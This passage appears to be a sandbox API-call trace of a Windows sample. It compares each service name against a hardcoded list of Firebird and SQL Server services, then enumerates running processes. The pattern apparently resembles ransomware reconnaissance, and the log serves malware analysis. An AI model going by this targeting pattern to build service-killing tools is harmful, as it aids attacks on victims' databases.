(lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.200] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.200] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.200] lstrlenW (lpString="FontCache") returned 9 [0174.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0174.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0174.200] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0174.200] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0174.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0174.200] lstrlenW (lpString="gpsvc") returned 5 [0174.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.201] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.201] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.201] lstrlenW (lpString="iphlpsvc") returned 8 [0174.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.201] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.201] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.201] lstrlenW (lpString="KeyIso") returned 6 [0174.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0174.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0174.201] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0174.201] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0174.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0174.201] lstrlenW (lpString="LanmanServer") returned 12 [0174.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.201] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.202] lstrlenW (lpString="lfsvc") returned 5 [0174.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0174.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0174.202] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0174.202] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0174.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0174.202] lstrlenW (lpString="lmhosts") returned 7 [0174.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.202] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.202] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.202] lstrlenW (lpString="LSM") returned 3 [0174.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0174.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0174.202] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0174.202] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0174.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0174.202] lstrlenW (lpString="MpsSvc") returned 6 [0174.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.202] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.202] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.202] lstrlenW (lpString="NcbService") returned 10 [0174.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0174.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0174.202] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0174.203] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0174.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0174.203] lstrlenW (lpString="netprofm") returned 8 [0174.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.203] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.203] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.203] lstrlenW (lpString="NgcSvc") returned 6 [0174.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0174.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0174.203] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0174.203] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0174.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0174.203] lstrlenW (lpString="NlaSvc") returned 6 [0174.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.203] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.203] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.203] lstrlenW (lpString="nsi") returned 3 [0174.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.203] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.203] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.203] lstrlenW (lpString="PcaSvc") returned 6 [0174.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.203] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.203] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.204] lstrlenW (lpString="PlugPlay") returned 8 [0174.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.204] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.204] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.204] lstrlenW (lpString="Power") returned 5 [0174.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0174.204] lstrlenW (lpString="ProfSvc") returned 7 [0174.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.204] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.204] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.204] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.204] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.204] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.204] lstrlenW (lpString="RpcSs") returned 5 [0174.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.204] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.204] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.204] lstrlenW (lpString="SamSs") returned 5 [0174.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.205] lstrlenW (lpString="Schedule") returned 8 [0174.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.205] lstrlenW (lpString="SecurityHealthService") returned 21 [0174.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0174.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0174.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0174.205] lstrlenW (lpString="SENS") returned 4 [0174.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.205] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.206] lstrlenW (lpString="Spooler") returned 7 [0174.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.206] lstrlenW (lpString="StateRepository") returned 15 [0174.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0174.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0174.206] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0174.206] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0174.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0174.206] lstrlenW (lpString="SysMain") returned 7 [0174.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0174.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0174.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0174.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0174.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0174.206] lstrlenW (lpString="SystemEventsBroker") returned 18 [0174.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0174.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0174.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0174.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0174.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0174.206] lstrlenW (lpString="Themes") returned 6 [0174.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0174.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0174.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0174.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0174.207] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x465ffb0 | out: hHeap=0x710000) returned 1 [0174.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0174.267] Process32FirstW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.268] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.269] lstrlenW (lpString="System") returned 6 [0174.269] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.271] lstrlenW (lpString="smss.exe") returned 8 [0174.271] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.272] lstrlenW (lpString="csrss.exe") returned 9 [0174.272] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.272] lstrlenW (lpString="wininit.exe") returned 11 [0174.273] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.273] lstrlenW (lpString="csrss.exe") returned 9 [0174.273] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.274] lstrlenW (lpString="winlogon.exe") returned 12 [0174.274] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.275] lstrlenW (lpString="services.exe") returned 12 [0174.275] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.276] lstrlenW (lpString="lsass.exe") returned 9 [0174.276] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.277] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.277] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.278] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.278] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.278] lstrlenW (lpString="svchost.exe") returned 11 [0174.279] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.279] lstrlenW (lpString="svchost.exe") returned 11 [0174.279] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.280] lstrlenW (lpString="dwm.exe") returned 7 [0174.280] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.281] lstrlenW (lpString="svchost.exe") returned 11 [0174.281] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.282] lstrlenW (lpString="svchost.exe") returned 11 [0174.282] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.283] lstrlenW (lpString="svchost.exe") returned 11 [0174.283] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.283] lstrlenW (lpString="svchost.exe") returned 11 [0174.283] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.284] lstrlenW (lpString="svchost.exe") returned 11 [0174.284] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.285] lstrlenW (lpString="svchost.exe") returned 11 [0174.285] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.286] lstrlenW (lpString="svchost.exe") returned 11 [0174.286] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.287] lstrlenW (lpString="svchost.exe") returned 11 [0174.287] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.288] lstrlenW (lpString="svchost.exe") returned 11 [0174.288] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.288] lstrlenW (lpString="svchost.exe") returned 11 [0174.289] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.289] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.289] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.290] lstrlenW (lpString="svchost.exe") returned 11 [0174.290] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.291] lstrlenW (lpString="audiodg.exe") returned 11 [0174.291] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0174.292] lstrlenW (lpString="taskhostw.exe") returned 13 [0174.292] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0174.293] lstrlenW (lpString="sihost.exe") returned 10 [0174.293] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.293] lstrlenW (lpString="svchost.exe") returned 11 [0174.293] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0174.294] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0174.294] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, 